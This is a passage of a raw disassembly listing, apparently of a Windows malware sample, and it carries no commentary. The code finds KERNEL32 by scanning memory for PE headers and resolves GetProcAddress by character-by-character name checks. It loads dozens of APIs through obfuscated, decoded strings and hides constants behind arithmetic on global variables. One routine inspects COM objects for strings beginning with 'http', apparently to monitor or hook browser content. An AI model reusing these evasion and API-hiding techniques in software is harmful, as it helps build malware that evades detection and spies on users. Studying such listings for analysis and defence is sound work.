		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_440B97
		add	esp, 3Ch
		mov	eax, dword_44A0EC
		cmp	[ebp+eax+var_103], 64h
		jnz	short loc_439D58
		movsx	eax, [ebp+var_FE]
		mov	edx, dword_44A238
		add	edx, 1Ch
		movsx	ecx, word_44A27C
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_30D], al
		movzx	eax, [ebp+var_30D]
		push	eax
		push	0
		call	sub_440511
		add	esp, 8
		mov	eax, dword_44A204
		dec	eax
		mov	ds:dword_446620, eax


loc_439D58:				; CODE XREF: sub_439B7B+19Dj
		mov	eax, dword_44A284
		cmp	[ebp+eax+var_108], 67h
		jnz	short loc_439DB9
		mov	eax, dword_44A1D0
		add	eax, dword_44A25C
		mov	edx, dword_44A148
		movsx	ecx, word_44A22C
		add	edx, ecx
		sub	edx, 9
		mov	[ebp+eax+var_104], dl
		lea	eax, [ebp+var_FE]
		push	eax
		call	ds:dword_444054
		mov	[ebp-310h], eax
		push	eax
		push	offset dword_449670
		call	sub_43ABE3
		add	esp, 0Ch
		mov	eax, dword_44A1D0
		sub	eax, 7
		mov	ds:dword_446620, eax


loc_439DB9:				; CODE XREF: sub_439B7B+1EAj
		pop	edi
		leave
		retn
sub_439B7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_439DBC	proc near		; DATA XREF: .data:0044A384o
		mov	eax, 80004001h
		retn	10h
sub_439DBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439DC4	proc near		; CODE XREF: sub_43C2C0+CDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_44A310
		push	offset dword_44A2D0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_442524
		pop	ebp
		retn
sub_439DC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_439DDE	proc near		; CODE XREF: sub_43EC0A+Cp
		push	edi
		push	offset word_44B816
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A29C, eax
		test	eax, eax
		jnz	short loc_439E11
		push	offset dword_44B808
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A29C, eax


loc_439E11:				; CODE XREF: sub_439DDE+1Aj
		push	offset byte_44B7F5
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44960C, eax
		push	offset word_44B7E2
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44864C, eax
		push	offset dword_44B7D0
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446618, eax
		push	offset byte_44B7BF
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447224, eax
		push	offset byte_44B7AB
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444050, eax
		push	offset word_44B79A
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_445010, eax
		push	offset byte_44B783
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465F4, eax
		push	offset dword_44B774
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448630, eax
		push	offset byte_44B767
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444004, eax
		push	offset byte_44B755
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449628, eax
		push	offset dword_44B744
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449654, eax
		push	offset word_44B732
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449BA4, eax
		push	offset byte_44B723
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447220, eax
		push	offset word_44B716
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449620, eax
		push	offset byte_44B707
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449644, eax
		push	offset byte_44B6F9
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444040, eax
		push	offset byte_44B6E7
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4460DC, eax
		push	offset byte_44B6D7
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444014, eax
		push	offset byte_44B6CB
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A40, eax
		push	offset byte_44B6BF
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449604, eax
		push	offset byte_44B6AD
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465FC, eax
		push	offset byte_44B69B
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449658, eax
		push	offset byte_44B68D
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44965C, eax
		push	offset byte_44B679
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44977C, eax
		push	offset dword_44B668
		call	sub_43C507
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44963C, eax
		push	offset word_44B652
		call	sub_43C507
		add	esp, 68h
		push	eax
		push	dword_44A29C
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444048, eax
		pop	edi
		retn
sub_439DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A0EE	proc near		; CODE XREF: sub_43C2C0+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	ds:dword_447248	; VirtualAlloc
		pop	ebp
		retn
sub_43A0EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A105	proc near		; CODE XREF: sub_44083E+257p
		push	edi
		push	offset dword_44B644
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449664, eax
		push	offset dword_44B63C
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44500C, eax
		push	offset dword_44B628
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465E8, eax
		push	offset dword_44B618
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447244, eax
		push	offset byte_44B609
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449788, eax
		push	offset word_44B5FA
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444008, eax
		push	offset dword_44B5E8
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449B9C, eax
		push	offset byte_44B5DB
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449B8C, eax
		push	offset dword_44B5CC
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448654, eax
		push	offset byte_44B5BD
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449624, eax
		push	offset byte_44B5B1
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444000, eax
		push	offset word_44B5A6
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4460E0, eax
		push	offset byte_44B58F
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44400C, eax
		push	offset dword_44B578
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449640, eax
		push	offset word_44B562
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449608, eax
		push	offset word_44B552
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444034, eax
		push	offset word_44B546
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444028, eax
		push	offset word_44B536
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447248, eax
		push	offset byte_44B527
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448634, eax
		push	offset byte_44B519
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A34, eax
		push	offset dword_44B50C
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44661C, eax
		push	offset byte_44B4FB
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44725C, eax
		push	offset word_44B4EA
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44402C, eax
		push	offset word_44B4DA
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449770, eax
		push	offset dword_44B4C8
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447258, eax
		push	offset byte_44B4B7
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_445004, eax
		push	offset word_44B4AA
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44660C, eax
		push	offset byte_44B499
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449668, eax
		push	offset dword_44B484
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449650, eax
		push	offset dword_44B474
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_445000, eax
		push	offset byte_44B45F
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4460D4, eax
		push	offset word_44B452
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447364, eax
		push	offset word_44B442
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44961C, eax
		push	offset dword_44B434
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448648, eax
		push	offset word_44B41E
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44863C, eax
		push	offset byte_44B407
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446600, eax
		push	offset byte_44B3EF
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A3C, eax
		push	offset byte_44B3D7
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444010, eax
		push	offset word_44B3BE
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449614, eax
		push	offset byte_44B3AB
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449780, eax
		push	offset byte_44B393
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449778, eax
		push	offset word_44B382
		call	sub_43C507
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449B98, eax
		push	offset dword_44B370
		call	sub_43C507
		add	esp, 0ACh
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4465F8, eax
		pop	edi
		retn
sub_43A105	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A5C3	proc near		; CODE XREF: sub_44083E+20Fp

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21F		= byte ptr -21Fh
var_21E		= byte ptr -21Eh
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		movsx	esi, word_44A1B4
		mov	edx, dword_44A280
		lea	ecx, [esi+edx+8]
		shr	edi, cl
		mov	esi, dword_44A270
		add	esi, 0Ah
		add	esi, dword_44A198
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_43A5FA:				; CODE XREF: sub_43A5C3+5Dj
					; sub_43A5C3+99j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_43A622
		movsx	eax, word_44A0BC
		movsx	edx, word_44A104
		lea	eax, [eax+edx+0FFEFh]
		sub	ebx, eax
		jmp	short loc_43A5FA
; ---------------------------------------------------------------------------


loc_43A622:				; CODE XREF: sub_43A5C3+44j
		movsx	eax, word_44A230
		mov	edx, dword_44A1D4
		lea	eax, [eax+edx+34h]
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_43A65E
		mov	eax, dword_44A1F4
		add	eax, 0FFFCh
		sub	ebx, eax
		jmp	short loc_43A5FA
; ---------------------------------------------------------------------------


loc_43A65E:				; CODE XREF: sub_43A5C3+8Bj
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_43A68B
		mov	eax, dword_44A0EC
		add	eax, 0FFFBh
		add	eax, dword_44A0F0
		sub	ebx, eax
		jmp	loc_43A5FA
; ---------------------------------------------------------------------------


loc_43A68B:				; CODE XREF: sub_43A5C3+AFj
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_442F8C
		mov	eax, dword_44A25C
		add	eax, dword_44A138
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_43A6ED
; ---------------------------------------------------------------------------


loc_43A6CB:				; CODE XREF: sub_43A5C3+140j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_43A6EA
		cmp	al, 7Ah
		jge	short loc_43A6EA
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_43A6EA:				; CODE XREF: sub_43A5C3+114j
					; sub_43A5C3+118j
		inc	[ebp+var_4]


loc_43A6ED:				; CODE XREF: sub_43A5C3+106j
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_44A0A0
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43A6CB
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_43A73B
		cmp	[ebp+var_102], 45h
		jnz	short loc_43A73B
		cmp	[ebp+var_101], 52h
		jnz	short loc_43A73B
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_43A73B
		cmp	[ebp+var_FD], 33h
		jnz	short loc_43A73B
		cmp	[ebp+var_FC], 32h
		jz	short loc_43A740


loc_43A73B:				; CODE XREF: sub_43A5C3+149j
					; sub_43A5C3+152j ...
		jmp	loc_43A96F
; ---------------------------------------------------------------------------


loc_43A740:				; CODE XREF: sub_43A5C3+176j
		movsx	eax, word_44A264
		add	eax, dword_44A248
		sub	eax, 9
		mov	[ebp+var_108], eax
		jmp	loc_43A95A
; ---------------------------------------------------------------------------


loc_43A75B:				; CODE XREF: sub_43A5C3+3A6j
		mov	eax, [ebp+var_108]
		movsx	ecx, word_44A218
		dec	ecx
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_442F8C
		movsx	eax, word_44A240
		mov	edx, eax
		add	edx, dword_44A238
		cmp	byte ptr [ebp+edx+var_224+3], 47h
		jnz	loc_43A954
		mov	edx, dword_44A0A0
		add	edx, dword_44A120
		cmp	byte ptr [ebp+edx+var_228+2], 74h
		jnz	loc_43A954
		cmp	[ebp+eax+var_21E], 50h
		jnz	loc_43A954
		movsx	eax, word_44A178
		movsx	edx, word_44A0C0
		add	eax, edx
		cmp	[ebp+eax+var_21F], 63h
		jnz	loc_43A954
		mov	eax, dword_44A234
		add	eax, dword_44A154
		cmp	byte ptr [ebp+eax+var_224+1], 41h
		jnz	loc_43A954
		mov	eax, dword_44A1A0
		add	eax, 2
		add	eax, dword_44A23C
		cmp	[ebp+eax+var_21F], 72h
		jnz	loc_43A954
		mov	eax, [ebp+var_108]
		mov	ecx, dword_44A194
		sub	ecx, 7
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		movsx	ecx, word_44A144
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	dword_44A294, ebx
		mov	ds:dword_4461F8, edx
		lea	edi, [ebp+var_23D]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449B90, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449660, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_445008, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword_44A294
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448650, eax
		jmp	short loc_43A96F
; ---------------------------------------------------------------------------


loc_43A954:				; CODE XREF: sub_43A5C3+1F1j
					; sub_43A5C3+20Bj ...
		inc	[ebp+var_108]


loc_43A95A:				; CODE XREF: sub_43A5C3+193j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_43A75B


loc_43A96F:				; CODE XREF: sub_43A5C3:loc_43A73Bj
					; sub_43A5C3+38Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A5C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A974	proc near		; CODE XREF: sub_440EE8+4Ap

var_10034	= dword	ptr -10034h
var_10030	= byte ptr -10030h
var_1002C	= dword	ptr -1002Ch
var_10028	= dword	ptr -10028h
var_10024	= dword	ptr -10024h
var_10020	= byte ptr -10020h
var_10018	= dword	ptr -10018h
var_10010	= dword	ptr -10010h
var_1000C	= dword	ptr -1000Ch
var_10008	= dword	ptr -10008h
var_10003	= byte ptr -10003h
var_10002	= byte ptr -10002h
var_10001	= byte ptr -10001h
var_10000	= byte ptr -10000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10034h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		cmp	dword_44A370, 0
		jnz	short loc_43A9A4
		mov	eax, dword_44A0D4
		add	eax, dword_44A280
		cmp	ds:dword_446620, eax
		jb	loc_43ABDE


loc_43A9A4:				; CODE XREF: sub_43A974+17j
		lea	eax, [ebp+var_10020]
		push	eax
		call	ds:dword_444038
		lea	eax, [ebp+var_10030]
		push	eax
		lea	eax, [ebp+var_10020]
		push	eax
		push	9
		mov	eax, dword_44A148
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_447254
		mov	edi, eax
		mov	eax, dword_44A0F4
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_43ABDE
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	offset dword_44BAD8
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		movsx	eax, word_44A1F0
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_43ABDE
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, dword_44A1A0
		sub	eax, 3
		cmp	edi, eax
		jnz	loc_43ABD8
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_43C434
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	ds:dword_449BA0
		cmp	[ebp+var_10003], 68h
		jnz	short loc_43AA8F
		cmp	[ebp+var_10002], 74h
		jnz	short loc_43AA8F
		cmp	[ebp+var_10001], 74h
		jnz	short loc_43AA8F
		cmp	[ebp+var_10000], 70h
		jz	short loc_43AA94


loc_43AA8F:				; CODE XREF: sub_43A974+FEj
					; sub_43A974+107j ...
		jmp	loc_43ABD8
; ---------------------------------------------------------------------------


loc_43AA94:				; CODE XREF: sub_43A974+119j
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, dword_44A164
		movsx	edx, word_44A170
		add	eax, edx
		sub	eax, 6
		cmp	edi, eax
		jnz	loc_43ABD8
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44BA58
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		movsx	eax, word_44A264
		add	eax, dword_44A1F8
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	loc_43ABCC
		lea	eax, [ebp+var_10008]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		movsx	eax, word_44A150
		add	eax, dword_44A1EC
		sub	eax, 10h
		cmp	edi, eax
		jnz	loc_43ABC3
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, dword_44A0F8
		add	eax, dword_44A110
		sub	eax, 0Ch
		cmp	edi, eax
		jz	short loc_43AB57
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_43ABC3
; ---------------------------------------------------------------------------


loc_43AB57:				; CODE XREF: sub_43A974+1D3j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_43AB6A
		xor	ebx, ebx
		inc	ebx


loc_43AB6A:				; CODE XREF: sub_43A974+1F1j
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_43ABC3
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, dword_44A268
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_43ABC3
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_2
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	sub_44006A
		add	esp, 10h


loc_43ABC3:				; CODE XREF: sub_43A974+1A8j
					; sub_43A974+1E1j ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43ABCC:				; CODE XREF: sub_43A974+17Bj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_43ABD8:				; CODE XREF: sub_43A974+C7j
					; sub_43A974:loc_43AA8Fj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_43ABDE:				; CODE XREF: sub_43A974+2Aj
					; sub_43A974+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ABE3	proc near		; CODE XREF: sub_439B7B+229p
					; sub_43AF47+37Bp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		movsx	edi, word_44A208
		mov	eax, esi
		test	eax, eax
		jge	short loc_43AC02
		add	eax, 0FFh


loc_43AC02:				; CODE XREF: sub_43ABE3+18j
		sar	eax, 8
		mov	ebx, eax
		imul	ebx, dword_44A128
		lea	edi, [edi+ebx+1Ah]
		mov	[ebp+var_8], edi
		mov	edi, dword_44A280
		add	edi, 11h
		mov	eax, esi
		test	eax, eax
		jge	short loc_43AC29
		add	eax, 0FFh


loc_43AC29:				; CODE XREF: sub_43ABE3+3Fj
		sar	eax, 8
		mov	ebx, dword_44A270
		add	ebx, 0Dh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, dword_44A254
		add	edi, 18h
		mov	eax, esi
		test	eax, eax
		jge	short loc_43AC53
		add	eax, 0FFFFh


loc_43AC53:				; CODE XREF: sub_43ABE3+69j
		sar	eax, 10h
